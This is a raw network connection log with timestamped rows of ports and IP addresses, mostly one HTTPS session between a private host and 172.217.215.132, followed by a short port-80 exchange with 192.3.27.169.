Jun 4, 2024 14:14:46.465138912 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.465395927 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.467876911 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.468072891 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.468101025 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.468326092 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.473718882 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.473974943 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.474003077 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.474196911 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.479346037 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.479563951 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.479589939 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.479873896 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.485070944 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.485413074 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.485440969 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.485620022 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.490683079 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.490942955 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.490969896 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.491163015 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.496113062 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.496320963 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.496346951 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.496531963 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.501193047 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.501517057 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.501543045 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.501737118 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.506302118 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.506550074 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.506577969 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.506755114 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.511322021 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.511450052 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.511471987 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.511674881 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.516302109 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.516556025 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.516575098 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.517041922 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.521156073 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.521339893 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.521356106 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.521677971 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.525957108 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.526139975 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.526155949 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.526359081 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.530873060 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.531104088 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.533304930 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.533488035 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.533503056 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.533752918 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.538049936 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.538305044 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.538321018 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.538520098 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.542948961 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.543314934 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.543329000 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.543562889 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.545949936 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.546176910 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.546192884 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.546417952 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.548962116 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.549160957 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.549175978 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.549408913 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.551981926 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.552340031 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.552355051 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.552582979 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.555104017 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.555296898 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.555313110 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.555531979 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.558094978 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.558397055 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.558412075 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.558566093 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.561048031 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.561275959 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.561291933 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.561453104 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.563975096 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.564330101 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.564343929 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.564656019 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.566870928 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.567053080 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.567066908 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.567245007 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.569787979 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.570019007 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.570033073 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.570195913 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.572585106 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.572776079 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.573986053 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.574239969 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.574254990 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.574470997 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.576770067 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.576946974 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.576961040 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.577162027 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.579648972 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.579879999 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.579895020 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.580126047 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.582288980 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.582442999 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.582459927 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.582727909 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.585136890 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.585350037 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.585366011 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.585532904 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.587857962 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.588063002 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.588078022 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.588259935 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.590562105 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.590817928 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.590832949 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.591048002 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.593204021 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.593489885 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.593506098 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.593693018 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.595798969 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.596118927 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.596133947 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.596484900 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.598352909 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.598640919 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.598655939 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.598850965 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.600987911 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.601285934 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.601300955 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.601597071 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.603502035 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.603765965 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.603780985 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.603959084 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.605977058 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.606204987 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.607230902 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.607527018 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.607542038 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.607770920 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.609723091 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.610027075 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.610043049 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.610223055 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.612149954 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.612341881 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.612356901 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.612564087 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.614625931 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.614903927 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.614918947 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.615255117 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.617057085 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.617295980 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.617311001 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.617552042 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.619488001 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.619621038 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.619636059 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.619844913 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.621881008 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.622061014 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.622076035 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.622281075 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.624248028 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.624434948 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.624448061 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.624711990 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.626626015 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.626846075 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.626862049 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.627104044 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.628942966 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.629221916 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.629237890 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.629451036 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.631247997 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.631428957 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.631444931 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.631627083 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.633447886 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.633656025 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.633671045 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.633879900 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.635641098 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.635909081 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.636805058 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.637025118 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.637039900 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.637285948 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.639048100 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.639319897 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.639332056 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.639497995 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.641288996 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.641539097 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.641550064 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.641802073 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.643395901 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.643542051 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.643552065 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.643785000 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.645574093 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.645847082 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.645858049 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.646029949 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.647764921 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.647989035 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.647999048 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.648266077 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.649930000 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.650091887 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.650103092 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.650377989 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.652015924 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.652259111 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.652270079 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.652448893 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.654186964 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.654423952 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.654434919 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.654710054 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.656347990 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.656615019 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.656625986 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.656861067 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.658447981 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.658596039 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.658606052 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.658828974 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.660674095 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.660917997 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.660929918 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.661194086 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.662683010 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.662942886 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.663796902 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.664022923 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.664033890 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.664256096 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.665879011 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.666142941 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.666153908 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.666325092 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.667798042 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.668015003 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.668025970 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.668176889 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.669640064 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.669873953 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.669884920 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.670063019 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.671562910 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.671777010 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.671787977 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.671942949 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.673389912 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.673712015 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.673722982 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.673908949 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.675112009 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.675353050 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.675364017 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.675568104 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.676959991 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.677170038 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.677181005 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.677406073 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.678711891 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.678966045 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.678976059 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.679290056 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.680406094 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.680651903 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.680663109 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.680819988 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.682164907 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.682394028 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.682405949 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.682581902 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.683865070 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.684039116 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.684051037 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.684214115 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.685563087 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.685847044 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.685858011 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.686021090 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.687331915 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.687594891 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.688070059 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.688333988 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.688344002 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.688610077 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.689688921 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.689954042 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.689965010 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.690130949 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.691282988 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.691368103 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.691441059 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.691456079 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.691629887 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.691694975 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.691694975 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:14:46.691709995 CEST	443	49843	172.217.215.132	192.168.11.30
Jun 4, 2024 14:14:46.691898108 CEST	49843	443	192.168.11.30	172.217.215.132
Jun 4, 2024 14:15:11.817239046 CEST	49845	80	192.168.11.30	192.3.27.169
Jun 4, 2024 14:15:11.967936039 CEST	80	49845	192.3.27.169	192.168.11.30
Jun 4, 2024 14:15:11.968187094 CEST	49845	80	192.168.11.30	192.3.27.169
Jun 4, 2024 14:15:11.970091105 CEST	49845	80	192.168.11.30	192.3.27.169
Jun 4, 2024 14:15:12.120537996 CEST	80	49845	192.3.27.169	192.168.11.30
Jun 4, 2024 14:15:12.291779041 CEST	80	49845	192.3.27.169	192.168.11.30
Jun 4, 2024 14:15:12.291912079 CEST	80	49845	192.3.27.169	192.168.11.30
Jun 4, 2024 14:15:12.292241096 CEST	49845	80	192.168.11.30	192.3.27.169
Jun 4, 2024 14:15:12.295216084 CEST	49845	80	192.168.11.30	192.3.27.169
Jun 4, 2024 14:15:12.445607901 CEST	80	49845	192.3.27.169	192.168.11.30
